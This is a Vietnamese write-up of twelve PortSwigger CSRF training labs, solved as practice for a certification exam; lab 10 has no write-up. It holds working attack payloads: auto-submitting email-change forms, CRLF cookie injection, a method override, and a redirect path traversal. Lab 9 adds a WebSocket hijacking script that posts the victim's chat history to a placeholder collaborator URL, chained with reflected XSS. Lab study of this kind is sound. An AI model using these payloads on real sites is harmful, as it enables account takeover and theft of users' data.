# Portswigger Cross-site Request Forgery (CSRF) 🤩
<style>body {text-align: justify}</style>
Hi, dưới đây là writeup của 12/12 bài lab về lỗ hổng [CSRF](https://portswigger.net/web-security/csrf) mình đã solve trong quá trình ôn tập thi chứng chỉ của Portswigger.
### 1. CSRF vulnerability with no defenses
##### Description
> This lab's email change functionality is vulnerable to CSRF.
>
> To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address and upload it to your exploit server.
>
> You can log in to your own account using the following credentials: `wiener:peter`
##### Writeup
Ứng dụng web tồn tại lỗ hổng CSRF tại chức năng update email của tài khoản.
Thực hiện đăng nhập với account cho sẵn `wiener:peter`, ta thử update email xem.

Bắt request và phân tích: Khi update email, một POST request được gửi đến `/my-account/change-mail` với body chỉ chứa tham số `email` cần thay đổi. Có thể thấy không có bất kì cơ chế chống CSRF nào ở đây cả.

Ta tạo một trang web giả mạo để gửi nạn nhân với nội dung sau:
```htmlembedded
<html>
<body>
<form action="https://<LAB-DOMAIN>/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacked@csrf.com" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
Cụ thể khi nạn nhân truy cập trang web này, nó tự động submit form update email đến đường dẫn `https://<LAB-DOMAIN>/my-account/change-email` với trường `email` do attacker định sẵn. Khi đó email tài khoản nạn nhân sẽ bị thay đổi.
Gửi payload trên vào exploit server.

Thử `View exploit` và thấy email của tài khoản hiện tại đã bị thay đổi.

Bây giờ chỉ việc `Deliver exploit to victim`, ta solve được challenge.

### 2. CSRF where token validation depends on request method
##### Description
> This lab's email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests.
>
> To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
>
> You can log in to your own account using the following credentials: `wiener:peter`
##### Writeup
Ở bài lab lần này, chức năng update email đã được trang bị cơ chế bảo vệ bằng CSRF token.

Nếu ta chỉnh sửa hay xóa CSRF token, thì request sẽ không thành công.


Tuy nhiên, khi thay đổi method của request từ POST thành GET và xóa CSRF token đi, ta lại thay đổi thành công email.


Như vậy, server đã chỉ validate CSRF token ở phương thức POST mà bỏ quên GET. Bây giờ ta chỉ cần tạo payload sau: `<img src="https://<LAB-DOMAIN>/my-account/change-email?email=hacked%40csrf.com">` và gửi vào exploit-server. Khi nạn nhân load trang exploit này, ảnh `<img>` trên sẽ được load với source chính là GET request để update email.

`Deliver exploit to victim` và ta solve được challenge.

### 3. CSRF where token validation depends on token being present
##### Description
> This lab's email change functionality is vulnerable to CSRF.
>
> To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
>
> You can log in to your own account using the following credentials: `wiener:peter`
##### Writeup
Bài này tương tự bài trên, thậm chí còn dễ bị bypass hơn.

Nếu ta xóa giá trị của CSRF token đi thì sẽ bị `Invalid CSRF token`.

Tuy nhiên, nếu xóa luôn tham số `csrf`, request lại được xử lí thành công.

Như vậy ta chỉ cần gửi payload tương tự lab 1 (Tự động submit form update email) cho nạn nhân mà không cần csrf token.

Gửi cho nạn nhân và ta solve được challenge.

### 4. CSRF where token is not tied to user session
##### Description
> This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't integrated into the site's session handling system.
>
> To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
>
> You have two accounts on the application that you can use to help design your attack. The credentials are as follows:
>
> `wiener:peter`
> `carlos:montoya`
##### Writeup
Ứng dụng web này vẫn bị dính CSRF mặc dù có trang bị CSRF token nhưng token này không được lưu vào session của user → CSRF token của user này vẫn có thể dùng cho người khác.
Cụ thể, khi đăng nhập tài khoản `wiener:peter`, ta thu thập CSRF token tại form update email.

Đăng nhập sang `carlos:montoya`, sử dụng CSRF token vừa trên để update email thì thành công → token này không được lưu vào session của từng user.

Tận dụng điều đó, ta sẽ tạo payload với CSRF token được lấy ở tài khoản đang có. Tất nhiên CSRF token phải chưa được sử dụng.

Payload sẽ là 1 form update email với 2 trường `email` và `csrf`, trong đó `csrf` sẽ là giá trị CSRF token vừa lấy được ở bước trên.
```htmlembedded
<html>
<body>
<form action="https://<LAB-DOMAIN>/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacked@csrf.com" />
<input type="hidden" name="csrf" value="4MpwfbN60MN6m7qRZweAjwaJHBTCegAO" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
Lưu payload vào exploit-server.

Thực hiện `Store` rồi `Deliver exploit to victim`, ta solve được challenge.

### 5. CSRF where token is tied to non-session cookie
##### Description
> This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't fully integrated into the site's session handling system.
>
> To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
>
> You have two accounts on the application that you can use to help design your attack. The credentials are as follows:
>
> `wiener:peter`
> `carlos:montoya`
##### Writeup
Thực hiện đăng nhập với user `wiener` và update email. Có thể thấy, ứng dụng web sử dụng một cookie `csrfKey` khác session để liên kết với `csrf` token.

Nếu thay đổi `crsfKey`, server sẽ báo `Invalid CSRF token`.

Tuy nhiên, nếu như đăng nhập tài khoản user `carlos` rồi thay đổi cặp `(csrfKey,csrf)` thành cặp giá trị `(csrfKey,csrf)` của user `wiener` ở trên, thì request vẫn được xử lí thành công.

Như vậy, csrf token không được liên kết vào session của từng user mà chỉ dựa vào `csrfKey`. Mục tiêu bây giờ của mình là làm sao thay đổi được `csrfKey` của nạn nhân.
Quay lại trang chủ, xuất hiện 1 form search.

Thử search thì thấy chuỗi được search sẽ lưu vào cookie có tên `LastSearchTerm`.

Dựa vào đó, ta sẽ search với payload sau để inject `csrfKey` cookie.
```
test\r\n
Set-Cookie: csrfKey=fZNq1wkGsZpuCPW4uyCc58IS0fyJPVrX
```
Thực hiện encode payload trên và search → ta đã set cookie `csrfKey` thành công theo ý muốn (ở đây là `csrfKey` của user `wiener` ở trên)

Bây giờ ta chỉ việc tạo form để thực hiện 2 bước:
- Inject `csrfKey` cookie: Sử dụng tag `<img>`
- Form update email với `csrf` là giá trị `csrf` của user `wiener` ở trên.
```htmlembedded
<html>
<body>
<img src="https://<LAB-DOMAIN>/?search=test%0d%0aSet-Cookie%3a%20csrfKey=fZNq1wkGsZpuCPW4uyCc58IS0fyJPVrX" onerror= 'document.forms[0].submit();'>
<form action="https://<LAB-DOMAIN>/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacked@csrf.com" />
<input type="hidden" name="csrf" value="T6iPrPCwRUysE8JQW61iELJ50nXSC1zY" />
</form>
</body>
</html>
```
Chèn payload vào exploit-server.

Thử `View exploit` thì thấy đã csrf thành công.

Tuy nhiên khi `Deliver exploit to victim` thì không thành công. Lí do là ta cần set thêm cookie `SameSite=None` vì site của exploit-server khác với trang web của bài lab.

Lần này gửi cho nạn nhân, ta solve được challenge.

### 6. CSRF where token is duplicated in cookie
##### Description
> This lab's email change functionality is vulnerable to CSRF. It attempts to use the insecure "double submit" CSRF prevention technique.
>
> To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
>
> You can log in to your own account using the following credentials: `wiener:peter`
##### Writeup
Đăng nhập với user `wiener`, ta tiếp tục tấn công CSRF tại chức năng update email. Lần này, `csrf` token được lưu trên cả cookie. Có nghĩa là nếu request có `csrf` token giống với `csrf` trên cookie thì sẽ được xử lí thành công.

Cụ thể, thử đồng thời thay đổi `csrf` ở cookie và body thành `1`, ta thấy request vẫn được xử lí thành công.

Nhiệm vụ của mình bây giờ sẽ là inject `csrf` bất kì trên cookie của nạn nhân rồi thực hiện sử dụng chính `csrf` token để tấn công.
Tương tự bài trên, sử dụng chức năng search để thực hiện inject `csrf` cookie.

Ta thực hiện search payload (sau khi encode) sau để inject `csrf` cookie.
```
test\r\n
Set-Cookie: csrf=hacked; SameSite=None
```

Dựa vào phân tích trên, ta tạo được CSRF payload hoàn chỉnh như sau:
- Inject `csrf` cookie: Sử dụng tag `<img>`
- Form update email với `csrf` là giá trị `csrf` giống cookie `csrf`.
```htmlembedded
<html>
<body>
<img src="https://<LAB-DOMAIN>/?search=test%0d%0aSet-Cookie:%20csrf=hacked%3b%20SameSite%3dNone" onerror="document.forms[0].submit();">
<form action="https://<LAB-DOMAIN>/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacked@csrf.com" />
<input type="hidden" name="csrf" value="hacked" />
</form>
</body>
</html>
```
Lưu payload vào exploit-server.

Thực hiện `Deliver exploit to victim`, ta solve thành công challenge.

### 7. SameSite Lax bypass via method override
##### Description
> This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.
>
> You can log in to your own account using the following credentials: `wiener:peter`
##### Writeup
Thực hiện đăng nhập với tài khoản có sẵn, session cookie được set mà không được set `SameSite` → mặc định ở Chrome nó sẽ là `SameSite=Lax`.

Thực hiện các bước CSRF cơ bản như các lab trước để thay đổi email.

Kết quả fail do `SameSite=Lax` chỉ cho phép GET request đối với cross-site request.

Thử update email với phương thức GET cũng không thành công.

Tuy nhiên, ta sẽ override method bằng cách thêm tham số `_method=POST` để update email thành công.

Như vậy chỉ cần lưu payload update email sau vào exploit-server.
```
<script>
document.location="https://0aae001e03fc6a54c30e20ae005e0061.web-security-academy.net/my-account/change-email?email=hacked%40gmail.com&_method=POST"
</script>
```

`Deliver exploit to victim` và ta solve được challenge.

### 8. SameSite Strict bypass via client-side redirect
##### Description
> This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.
>
> You can log in to your own account using the following credentials: `wiener:peter`
##### Writeup
Khi thực hiện đăng nhập với tài khoản `wiener:peter`, ta thấy cookie được set thêm `SameSite=Strict`.

Thực hiện update email với phương thức GET thành công.

Thử tạo payload như hình để CSRF update email và lưu vào exploit-server.

Tuy nhiên, khi thử `View exploit` thì bị redirect về trang login → `SameSite=Strict` đã chặn trong trường hợp này do 2 site khác nhau.

Chúng ta phải đi tìm cách bypass. Ở chức năng comment bài post, ứng dụng tự động redirect về trang bài post sau 3s sau khi comment thành công.

Cụ thể, ở bước confirm comment tại `/post/comment/confirmation?postId=X`, tồn tại 1 đoạn script `commentConfirmationRedirect.js` có chức năng redirect trên.

Đọc source có thể thấy, trang thực hiện redirect về trang `<LAB-DOMAIN>/post/<postId>`, trong đó `postId` được lấy từ tham số phương thức GET.

Ví dụ như đối với `postId=4` thì sau 3s trang sẽ redirect về `<LAB-DOMAIN>/post/<postId>` như hình dưới.

Thử gán `postId` bằng chuỗi bất kì thì thấy nó vẫn redirect bình thường.

Do `postId` được lấy trực tiếp từ user và không có cơ chế validate → ta có thể nghĩ đến Path Traversal. Thử `postId=../../my-account` thì thấy trang `/my-account` được load thành công.

Dựa vào những phân tích ở trên, ta sẽ kết hợp Path Traversal ở postId để redirect về đường dẫn update email dưới phương thức GET. Payload cụ thể như sau:
`/post/comment/confirmation?postId=../../my-account/change-email%3femail=hacked%40csrf.com%26submit=1`
Kết quả ta thấy đã thay đổi thành công email → Cookie session đã được kèm theo vào request thứ 2 vì redirect từ samesite.

Bây giờ chỉ cần tạo đoạn script như hình dưới để csrf và lưu vào exploit-server.

Thử `View exploit` ta thấy đã update email thành công.

Thực hiện `Deliver exploit to victim` và ta solve được challenge.

### 9. SameSite Strict bypass via sibling domain
##### Description
> This lab's live chat feature is vulnerable to cross-site WebSocket hijacking (CSWSH). To solve the lab, log in to the victim's account.
>
> To do this, use the provided exploit server to perform a CSWSH attack that exfiltrates the victim's chat history to the default Burp Collaborator server. The chat history contains the login credentials in plain text.
>
> If you haven't done so already, we recommend completing our topic on WebSocket vulnerabilities before attempting this lab.
##### Writeup
- Khi truy cập trang chủ của ứng dụng, server set 1 session cookie cho mình kèm theo `SameSite=Strict` để chống CSRF.

Ứng dụng có chức năng live chat sử dụng websockets để tương tác.

Để ý tại bước Websockets handshake thì cookie chỉ chứa session mà không chứa bất kì cơ chế chống CSRF như csrf token nên khả năng chức năng này có thể dính [CSWSH](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking).

- Bây giờ ta sẽ đi kiểm chứng xem ứng dụng có dính CSWSH không.
Load lại trang chat, ta thấy lịch sử của trò chuyện được load lại.

Đọc websockets history thì thấy client gửi cho server message `READY` trước khi load history.

Dựa vào đó, ta sẽ build 1 CSWSH payload như sau:
```javascript
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
```
Khi nạn nhân load script này thì nó ngay lập tức gửi message `READY` đến server và tất cả các message (sử dụng event onmessage) sẽ được POST đến URL của attacker.

`View exploit` và kiểm tra collaborator thì thấy chỉ có 1 POST request được gửi đến kèm theo 1 tin nhắn duy nhất của server khi bắt đầu đoạn chat → Lịch sử cuộc trò chuyện không được gửi kèm do session cookie không được gửi kèm request vì không cùng site (`SameSite=Strict`).

- Bây giờ lúc đi tìm kiếm cách bypass `SameSite=Strict` này.
Khi đọc các response của server trả về đối với các request về ảnh, script, css tại đường dẫn `/resources`, mình phát hiện ra một URL ở header `Access-Control-Allow-Origin`. Cụ thể nó same site với site của ứng dụng chỉ khác subdomain có dạng `cms-<LAB-ID>.web-security-academy.net` .

Truy cập URL đó, có 1 form login sơ khai. Test thử với tài khoản `test:test` bất kì thì thấy nó báo lỗi `Invalid username: test`.

Kiểm tra code được render thì dường như không có cơ chế validate gì cả.

Gửi 1 reflected XSS payload `<script>alert(1)</script>`, ta thấy alert thành công.


Như vậy, trang web này dính reflected XSS. Đổi request thành phương thức GET thì vẫn thành công.

- Dựa trên những phân tích trên, để bypass `SameSite=Strict`, ta sẽ thực hiện chèn CSWSH payload vào trường username để XSS, rồi gửi request chứa XSS đó cho nạn nhân. Khi đó, session cookie vẫn được đi kèm theo request do trang login `https://cms-<LAB-ID>.web-security-academy.net` cùng site với site của ứng dụng → tất cả message của nạn nhân sẽ được thu thập bằng CSWSH.
Đầu tiên, thực hiện URL encode CSWSH payload ở trên.

Login với trường username là payload sau khi encode ở trên bằng phương thức GET.

Lúc này đoạn script tấn công CSWSH được thực thi → Collaborator nhận được tất cả POST request chứa lịch sử cuộc trò chuyện.

Ta sẽ gửi payload sau vào exploit-server để gửi cho nạn nhân.
```javascript
<script>
document.location = "https://cms-0acd00d40302a58cc04aa8c900040096.web-security-academy.net/login?username=<URL-encoded CSWSH payload>&password=a"
</script>
```

Chờ đợi ở collaborator, ta thu thập được lịch sử tin nhắn của nạn nhân, trong đó có tài khoản `carlos:74l4ufnodkpjpvxbnra2`.

Đăng nhập tài khoản trên và ta solve được challenge.

### 10. SameSite Lax bypass via cookie refresh
##### Description
> This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.
>
> The lab supports OAuth-based login. You can log in via your social media account with the following credentials: `wiener:peter`
##### Writeup
### 11. CSRF where Referer validation depends on header being present
##### Description
> This lab's email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback.
>
> To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
>
> You can log in to your own account using the following credentials: `wiener:peter`
##### Writeup
Ứng dụng web này trang bị cơ chế chống CSRF bằng cách validate trường Referer.
Đăng nhập với tài khoản cho sẵn và thực hiện update email.

Nếu ta thay đổi `Referer` khác domain của ứng dụng web thì server sẽ trả về `Invalid referer header`.

Ngược lại, request sẽ được xử lí thành công.

Tuy nhiên điều thú vị là nếu như mình xóa header Referer luôn thì server vẫn xử lí thành công.

Điều này suy ra được rằng server chỉ validate Referer khi nó tồn tại, còn không thì bỏ qua. Như vậy chỉ cần tạo CSRF payload thông thường và thêm `<meta name="referrer" content="never">` để loại trừ `Referer` khỏi request.
```htmlembedded
<html>
<meta name="referrer" content="never">
<body>
<form action="https://<LAB-DOMAIN>/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacked@csrf.com" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
Thêm payload vào exploit-server.

`View exploit` và ta thấy CSRF thành công.

Thực hiện `Deliver exploit to victim` và ta solve challenge.

### 12. CSRF with broken Referer validation
##### Description
> This lab's email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.
>
> To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
>
> You can log in to your own account using the following credentials: `wiener:peter`
##### Writeup
Ứng dụng web này trang bị cơ chế chống CSRF bằng cách validate trường Referer.
Đăng nhập với tài khoản cho sẵn và thực hiện update email.

Nếu ta thay đổi `Referer` khác domain của ứng dụng web thì server sẽ trả về `Invalid referer header`.

Tuy nhiên khi POST request trên với trường Referer có chứa domain của ứng dụng như 2 cách sau thì request được xử lí thành công.
- Domain web là subdomain

- Domain web là 1 query string hay là tham số.

Như vậy, server chỉ thực hiện validate Referer có chứa chung domain với ứng dụng web không hay thôi. Ta chỉ việc set Referer chứa domain của ứng dụng khi thực hiện CSRF.
Thực hiện vào exploit-server, chỉnh URL exploit có chứa domain của ứng dụng theo cách query string. Đồng thời payload CSRF tương tự bài lab 1.

Tuy nhiên, khi thử `View exploit` thì vẫn bị báo `Invalid referer header`. Check request thì có thể thấy phần param chứa domain của web không được mang theo request ở header Referer.

Để có thể chứa nó trong Referer, chỉ cần thêm header `Referrer-Policy: unsafe-url`.

Lúc này `View exploit` và ta đã đổi email thành công.

Tuy nhiên đến bước `Deliver exploit to victim` thì vẫn không thành công. Có vẻ như domain web không được kèm theo trong Referer như mong muốn. Sử dụng cách thay thế như sau:
`history.pushState("", "", "/<LAB-DOMAIN>")`
Thêm đoạn script trên vào và send exploit đến nạn nhân.

Lúc này ta đã solve thành công challenge.

###### tags: `portswigger`, `csrf`, `client-side`